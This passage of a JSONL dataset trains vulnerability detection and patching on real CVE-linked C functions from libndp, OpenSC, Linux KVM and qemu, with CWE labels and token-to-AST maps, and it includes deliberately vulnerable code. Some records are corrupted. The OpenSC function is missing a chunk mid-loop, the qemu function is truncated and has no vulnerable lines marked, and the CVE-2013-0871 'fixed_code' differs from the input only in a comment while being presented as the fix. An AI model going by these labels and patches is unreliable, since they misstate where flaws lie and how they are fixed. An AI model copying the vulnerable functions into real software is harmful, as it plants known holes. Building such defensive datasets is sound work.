\t*addr = sin6.sin6_addr;\n\n\treturn 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-284\",\n \"cwe_name\": \"Improper Access Control\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-3698\",\n \"project\": \"libndp\",\n \"vulnerable_lines\": [\n 2,\n 5,\n 33,\n 34,\n 35,\n 36,\n 38,\n 39\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 1\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 8\n },\n {\n \"token\": \"myrecvfrom6\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 12\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 23\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 24\n },\n {\n \"token\": \"sockfd\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 28\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 34\n },\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 36\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 41\n },\n {\n \"token\": \"buf\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 42\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 45\n },\n {\n \"token\": \"size_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 47\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 54\n },\n {\n \"token\": \"buflen\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 55\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 61\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 63\n },\n {\n \"token\": \"flags\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 67\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 72\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 2,\n \"col\": 9\n },\n {\n \"token\": \"in6_addr\",\n \"ast_node\": \"type_identifier\",\n \"line\": 2,\n \"col\": 16\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 2,\n \"col\": 25\n },\n {\n \"token\": \"addr\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 26\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 2,\n \"col\": 30\n },\n {\n \"token\": \"uint32_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 2,\n \"col\": 32\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 2,\n \"col\": 41\n },\n {\n \"token\": \"ifindex\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 42\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 2,\n \"col\": 49\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 4,\n \"col\": 2\n },\n {\n \"token\": \"sockaddr_in6\",\n \"ast_node\": \"type_identifier\",\n \"line\": 4,\n \"col\": 9\n },\n {\n \"token\": \"sin6\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 22\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 26\n },\n {\n \"token\": \"unsigned\",\n \"ast_node\": \"unsigned\",\n \"line\": 5,\n \"col\": 1\n },\n {\n \"token\": \"char\",\n \"ast_node\": \"primitive_type\",\n \"line\": 5,\n \"col\": 10\n },\n {\n \"token\": \"cbuf\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 15\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 5,\n \"col\": 19\n },\n {\n \"token\": \"CMSG_SPACE\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 20\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 30\n },\n {\n \"token\": \"sizeof\",\n \"ast_node\": \"sizeof\",\n \"line\": 5,\n \"col\": 31\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 37\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 5,\n \"col\": 38\n },\n {\n \"token\": \"in6_pktinfo\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 45\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 56\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 57\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 5,\n \"col\": 58\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 59\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 6,\n \"col\": 2\n },\n {\n \"token\": \"iovec\",\n \"ast_node\": \"type_identifier\",\n \"line\": 6,\n \"col\": 9\n },\n {\n \"token\": \"iovec\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 15\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 20\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 7,\n \"col\": 2\n },\n {\n \"token\": \"msghdr\",\n \"ast_node\": \"type_identifier\",\n \"line\": 7,\n \"col\": 9\n },\n {\n \"token\": \"msghdr\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 16\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 22\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 8,\n \"col\": 2\n },\n {\n \"token\": \"cmsghdr\",\n \"ast_node\": \"type_identifier\",\n \"line\": 8,\n \"col\": 9\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 8,\n \"col\": 17\n },\n {\n \"token\": \"cmsghdr\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 18\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 25\n },\n {\n \"token\": \"ssize_t\",\n \"ast_node\": \"primitive_type\",\n \"line\": 9,\n \"col\": 1\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-125", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int insert_key(\n\tsc_pkcs15_card_t *p15card,\n\tconst char *path,\n\tunsigned char id,\n\tunsigned char key_reference,\n\tint key_length,\n\tunsigned char auth_id,\n\tconst char *label\n){\n\tsc_card_t *card=p15card->card;\n\tsc_context_t *ctx=p15card->card->ctx;\n\tsc_file_t *f;\n\tstruct sc_pkcs15_prkey_info prkey_info;\n\tstruct sc_pkcs15_object prkey_obj;\n\tint r, can_sign, can_crypt;\n\n\tmemset(&prkey_info, 0, sizeof(prkey_info));\n\tprkey_info.id.len = 1;\n\tprkey_info.id.value[0] = id;\n\tprkey_info.native = 1;\n\tprkey_info.key_reference = key_reference;\n\tprkey_info.modulus_length = key_length;\n\tsc_format_path(path, &prkey_info.path);\n\n\tmemset(&prkey_obj, 0, sizeof(prkey_obj));\n\tstrlcpy(prkey_obj.label, label, sizeof(prkey_obj.label));\n\tprkey_obj.flags = SC_PKCS15_CO_FLAG_PRIVATE;\n\tprkey_obj.auth_id.len = 1;\n\tprkey_obj.auth_id.value[0] = auth_id;\n\n\tcan_sign=can_crypt=0;\n\tif(card->type==SC_CARD_TYPE_TCOS_V3){\n\t\tunsigned char buf[256];\n \t\tint i, rec_no=0;\n \t\tif(prkey_info.path.len>=2) prkey_info.path.len-=2;\n \t\tsc_append_file_id(&prkey_info.path, 0x5349);\n\t\tif(sc_select_file(card, &prkey_info.path, NULL)!=SC_SUCCESS){\n \t\t\tsc_debug(ctx, SC_LOG_DEBUG_NORMAL,\n \t\t\t\t\"Select(%s) failed\\n\",\n \t\t\t\tsc_print_path(&prkey_info.path));\n\t\t\treturn 1;\n\t\t}\n\t\tsc_debug(ctx, SC_LOG_DEBUG_NORMAL,\n\t\t\t\"Searching for Key-Ref %02X\\n\", key_reference);\n\t\twhile((r=sc_read_record(card, ++rec_no, buf, sizeof(buf), SC_RECORD_BY_REC_NR))>0){\n\t\t\tint found=0;\n\t\t\tif(buf[0]!=0xA0) continue;\n\t\t\tfor(i=2;iprop_attr[1] & 0x04) can_crypt=1;\n\t\tif (f->prop_attr[1] & 0x08) can_sign=1;\n\t\tsc_file_free(f);\n\t}\n\tprkey_info.usage= SC_PKCS15_PRKEY_USAGE_SIGN;\n\tif(can_crypt) prkey_info.usage |= SC_PKCS15_PRKEY_USAGE_ENCRYPT|SC_PKCS15_PRKEY_USAGE_DECRYPT;\n\tif(can_sign) prkey_info.usage |= SC_PKCS15_PRKEY_USAGE_NONREPUDIATION;\n\n\tr=sc_pkcs15emu_add_rsa_prkey(p15card, &prkey_obj, &prkey_info);\n\tif(r!=SC_SUCCESS){\n\t\tsc_debug(ctx, SC_LOG_DEBUG_NORMAL, \"sc_pkcs15emu_add_rsa_prkey(%s) failed\\n\", path);\n\t\treturn 4;\n\t}\n\tsc_debug(ctx, SC_LOG_DEBUG_NORMAL, \"%s: OK%s%s\\n\", path, can_sign ? \", Sign\" : \"\", can_crypt ? \", Crypt\" : \"\");\n\treturn 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-125\",\n \"cwe_name\": \"Out-of-bounds Read\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2018-16427\",\n \"project\": \"OpenSC\",\n \"vulnerable_lines\": [\n 37,\n 62\n ],\n \"sink_node_type\": \"if_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"if_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 32,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 32,\n \"col\": 3\n },\n {\n \"token\": \"card\",\n \"ast_node\": \"identifier\",\n \"line\": 32,\n \"col\": 4\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 32,\n \"col\": 8\n },\n {\n \"token\": \"type\",\n \"ast_node\": \"field_identifier\",\n \"line\": 32,\n \"col\": 10\n },\n {\n \"token\": \"==\",\n \"ast_node\": \"==\",\n \"line\": 32,\n \"col\": 14\n },\n {\n \"token\": \"SC_CARD_TYPE_TCOS_V3\",\n \"ast_node\": \"identifier\",\n \"line\": 32,\n \"col\": 16\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 32,\n \"col\": 36\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 32,\n \"col\": 37\n },\n {\n \"token\": \"unsigned\",\n \"ast_node\": \"unsigned\",\n \"line\": 33,\n \"col\": 2\n },\n {\n \"token\": \"char\",\n \"ast_node\": \"primitive_type\",\n \"line\": 33,\n \"col\": 11\n },\n {\n \"token\": \"buf\",\n \"ast_node\": \"identifier\",\n \"line\": 33,\n \"col\": 16\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 33,\n \"col\": 19\n },\n {\n \"token\": \"256\",\n \"ast_node\": \"number_literal\",\n \"line\": 33,\n \"col\": 20\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 33,\n \"col\": 23\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 33,\n \"col\": 24\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 34,\n \"col\": 3\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 34,\n \"col\": 7\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 34,\n \"col\": 8\n },\n {\n \"token\": \"rec_no\",\n \"ast_node\": \"identifier\",\n \"line\": 34,\n \"col\": 10\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 34,\n \"col\": 16\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 34,\n \"col\": 17\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 34,\n \"col\": 18\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 35,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 35,\n \"col\": 5\n },\n {\n \"token\": \"prkey_info\",\n \"ast_node\": \"identifier\",\n \"line\": 35,\n \"col\": 6\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 35,\n \"col\": 16\n },\n {\n \"token\": \"path\",\n \"ast_node\": \"field_identifier\",\n \"line\": 35,\n \"col\": 17\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 35,\n \"col\": 21\n },\n {\n \"token\": \"len\",\n \"ast_node\": \"field_identifier\",\n \"line\": 35,\n \"col\": 22\n },\n {\n \"token\": \">=\",\n \"ast_node\": \">=\",\n \"line\": 35,\n \"col\": 25\n },\n {\n \"token\": \"2\",\n \"ast_node\": \"number_literal\",\n \"line\": 35,\n \"col\": 27\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 35,\n \"col\": 28\n },\n {\n \"token\": \"prkey_info\",\n \"ast_node\": \"identifier\",\n \"line\": 35,\n \"col\": 30\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 35,\n \"col\": 40\n },\n {\n \"token\": \"path\",\n \"ast_node\": \"field_identifier\",\n \"line\": 35,\n \"col\": 41\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 35,\n \"col\": 45\n },\n {\n \"token\": \"len\",\n \"ast_node\": \"field_identifier\",\n \"line\": 35,\n \"col\": 46\n },\n {\n \"token\": \"-=\",\n \"ast_node\": \"-=\",\n \"line\": 35,\n \"col\": 49\n },\n {\n \"token\": \"2\",\n \"ast_node\": \"number_literal\",\n \"line\": 35,\n \"col\": 51\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 35,\n \"col\": 52\n },\n {\n \"token\": \"sc_append_file_id\",\n \"ast_node\": \"identifier\",\n \"line\": 36,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 36,\n \"col\": 20\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 36,\n \"col\": 21\n },\n {\n \"token\": \"prkey_info\",\n \"ast_node\": \"identifier\",\n \"line\": 36,\n \"col\": 22\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 36,\n \"col\": 32\n },\n {\n \"token\": \"path\",\n \"ast_node\": \"field_identifier\",\n \"line\": 36,\n \"col\": 33\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 36,\n \"col\": 37\n },\n {\n \"token\": \"0x5349\",\n \"ast_node\": \"number_literal\",\n \"line\": 36,\n \"col\": 39\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 36,\n \"col\": 45\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 36,\n \"col\": 46\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 37,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 37,\n \"col\": 4\n },\n {\n \"token\": \"sc_select_file\",\n \"ast_node\": \"identifier\",\n \"line\": 37,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 37,\n \"col\": 19\n },\n {\n \"token\": \"card\",\n \"ast_node\": \"identifier\",\n \"line\": 37,\n \"col\": 20\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 37,\n \"col\": 24\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 37,\n \"col\": 26\n },\n {\n \"token\": \"prkey_info\",\n \"ast_node\": \"identifier\",\n \"line\": 37,\n \"col\": 27\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 37,\n \"col\": 37\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-20", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "void kvm_lapic_set_vapic_addr(struct kvm_vcpu *vcpu, gpa_t vapic_addr)\n {\n\tvcpu->arch.apic->vapic_addr = vapic_addr;\n\tif (vapic_addr)\n \t\t__set_bit(KVM_APIC_CHECK_VAPIC, &vcpu->arch.apic_attention);\n\telse\n \t\t__clear_bit(KVM_APIC_CHECK_VAPIC, &vcpu->arch.apic_attention);\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-20\",\n \"cwe_name\": \"Improper Input Validation\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2013-6368\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 4,\n 5,\n 6,\n 7\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"kvm_lapic_set_vapic_addr\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 29\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 30\n },\n {\n \"token\": \"kvm_vcpu\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 37\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 46\n },\n {\n \"token\": \"vcpu\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 47\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 51\n },\n {\n \"token\": \"gpa_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 53\n },\n {\n \"token\": \"vapic_addr\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 59\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 69\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 1\n },\n {\n \"token\": \"vcpu\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 3,\n \"col\": 5\n },\n {\n \"token\": \"arch\",\n \"ast_node\": \"field_identifier\",\n \"line\": 3,\n \"col\": 7\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 3,\n \"col\": 11\n },\n {\n \"token\": \"apic\",\n \"ast_node\": \"field_identifier\",\n \"line\": 3,\n \"col\": 12\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 3,\n \"col\": 16\n },\n {\n \"token\": \"vapic_addr\",\n \"ast_node\": \"field_identifier\",\n \"line\": 3,\n \"col\": 18\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 3,\n \"col\": 29\n },\n {\n \"token\": \"vapic_addr\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 31\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 41\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 4,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 4\n },\n {\n \"token\": \"vapic_addr\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 5\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 15\n },\n {\n \"token\": \"__set_bit\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 12\n },\n {\n \"token\": \"KVM_APIC_CHECK_VAPIC\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 13\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 5,\n \"col\": 33\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 5,\n \"col\": 35\n },\n {\n \"token\": \"vcpu\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 36\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 5,\n \"col\": 40\n },\n {\n \"token\": \"arch\",\n \"ast_node\": \"field_identifier\",\n \"line\": 5,\n \"col\": 42\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 5,\n \"col\": 46\n },\n {\n \"token\": \"apic_attention\",\n \"ast_node\": \"field_identifier\",\n \"line\": 5,\n \"col\": 47\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 61\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 62\n },\n {\n \"token\": \"else\",\n \"ast_node\": \"else\",\n \"line\": 6,\n \"col\": 1\n },\n {\n \"token\": \"__clear_bit\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 7,\n \"col\": 14\n },\n {\n \"token\": \"KVM_APIC_CHECK_VAPIC\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 15\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 7,\n \"col\": 35\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 7,\n \"col\": 37\n },\n {\n \"token\": \"vcpu\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 38\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 7,\n \"col\": 42\n },\n {\n \"token\": \"arch\",\n \"ast_node\": \"field_identifier\",\n \"line\": 7,\n \"col\": 44\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 7,\n \"col\": 48\n },\n {\n \"token\": \"apic_attention\",\n \"ast_node\": \"field_identifier\",\n \"line\": 7,\n \"col\": 49\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 7,\n \"col\": 63\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 64\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 8,\n \"col\": 1\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-190", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "int qcow2_snapshot_load_tmp(BlockDriverState *bs,\n const char *snapshot_id,\n const char *name,\n Error **errp)\n{\n int i, snapshot_index;\n BDRVQcowState *s = bs->opaque;\n QCowSnapshot *sn;\n uint64_t *new_l1_table;\n int new_l1_bytes;\n int ret;\n\n assert(bs->read_only);\n\n /* Search the snapshot */\n snapshot_index = find_snapshot_by_id_and_name(bs, snapshot_id, name);\n if (snapshot_index < 0) {\n error_setg(errp,\n \"Can't find snapshot\");\n return -ENOENT;\n }\n sn = &s->snapshots[snapshot_index];\n \n /* Allocate and read in the snapshot's L1 table */\n new_l1_bytes = sn->l1_size * sizeof(uint64_t);\n new_l1_table = g_malloc0(align_offset(new_l1_bytes, 512));\n return ret;\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-190\",\n \"cwe_name\": \"Integer Overflow\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2014-0143\",\n \"project\": \"qemu\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "javascript", "cwe": null, "source": "curated secure pattern + tree-sitter AST", "instruction": "You are a static application security testing (SAST) engine. Parse the javascript source into its AST, map tokens to AST nodes, and report any vulnerability as JSON.", "input": "function getUser(req, res) {\n const value = req.params.file;\n db.query('SELECT * FROM users WHERE id = ?', [value], (e, rows) => res.json(rows));\n}\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"note\": \"Secure pattern: Parameterized SQL query. No injection/traversal sink reachable from untrusted input.\",\n \"ast_top_level\": [\n \"program\",\n \"function_declaration\"\n ]\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-362", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-362). Produce the patched version and explain the fix. Output JSON.", "input": "void set_task_blockstep(struct task_struct *task, bool on)\n{\n\tunsigned long debugctl;\n\n\t/*\n \t * Ensure irq/preemption can't change debugctl in between.\n \t * Note also that both TIF_BLOCKSTEP and debugctl should\n \t * be changed atomically wrt preemption.\n\t * FIXME: this means that set/clear TIF_BLOCKSTEP is simply\n\t * wrong if task != current, SIGKILL can wakeup the stopped\n\t * tracee and set/clear can play with the running task, this\n\t * can confuse the next __switch_to_xtra().\n \t */\n \tlocal_irq_disable();\n \tdebugctl = get_debugctlmsr();\n\tif (on) {\n\t\tdebugctl |= DEBUGCTLMSR_BTF;\n\t\tset_tsk_thread_flag(task, TIF_BLOCKSTEP);\n\t} else {\n\t\tdebugctl &= ~DEBUGCTLMSR_BTF;\n\t\tclear_tsk_thread_flag(task, TIF_BLOCKSTEP);\n\t}\n\tif (task == current)\n\t\tupdate_debugctlmsr(debugctl);\n\tlocal_irq_enable();\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-362\",\n \"cwe_name\": \"Race Condition\",\n \"cve\": \"CVE-2013-0871\",\n \"fixed_code\": \"void set_task_blockstep(struct task_struct *task, bool on)\\n{\\n\\tunsigned long debugctl;\\n\\n\\t/*\\n \\t * Ensure irq/preemption can't change debugctl in between.\\n \\t * Note also that both TIF_BLOCKSTEP and debugctl should\\n \\t * be changed atomically wrt preemption.\\n\\t *\\n\\t * NOTE: this means that set/clear TIF_BLOCKSTEP is only safe if\\n\\t * task is current or it can't be running, otherwise we can race\\n\\t * with __switch_to_xtra(). We rely on ptrace_freeze_traced() but\\n\\t * PTRACE_KILL is not safe.\\n \\t */\\n \\tlocal_irq_disable();\\n \\tdebugctl = get_debugctlmsr();\\n\\tif (on) {\\n\\t\\tdebugctl |= DEBUGCTLMSR_BTF;\\n\\t\\tset_tsk_thread_flag(task, TIF_BLOCKSTEP);\\n\\t} else {\\n\\t\\tdebugctl &= ~DEBUGCTLMSR_BTF;\\n\\t\\tclear_tsk_thread_flag(task, TIF_BLOCKSTEP);\\n\\t}\\n\\tif (task == current)\\n\\t\\tupdate_debugctlmsr(debugctl);\\n\\tlocal_irq_enable();\\n}\\n\",\n \"change_summary\": \"ptrace: ensure arch_ptrace/ptrace_request can never race with SIGKILL\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static uint32_t cirrus_mmio_readb(void *opaque, target_phys_addr_t addr)\n{\n CirrusVGAState *s = (CirrusVGAState *) opaque;\n\n addr &= CIRRUS_PNPMMIO_SIZE - 1;\n\n if (addr >= 0x100) {\n return cirrus_mmio_blt_read(s, addr - 0x100);\n } else {\n return vga_ioport_read(s, addr + 0x3c0);\n }\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"qemu\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": 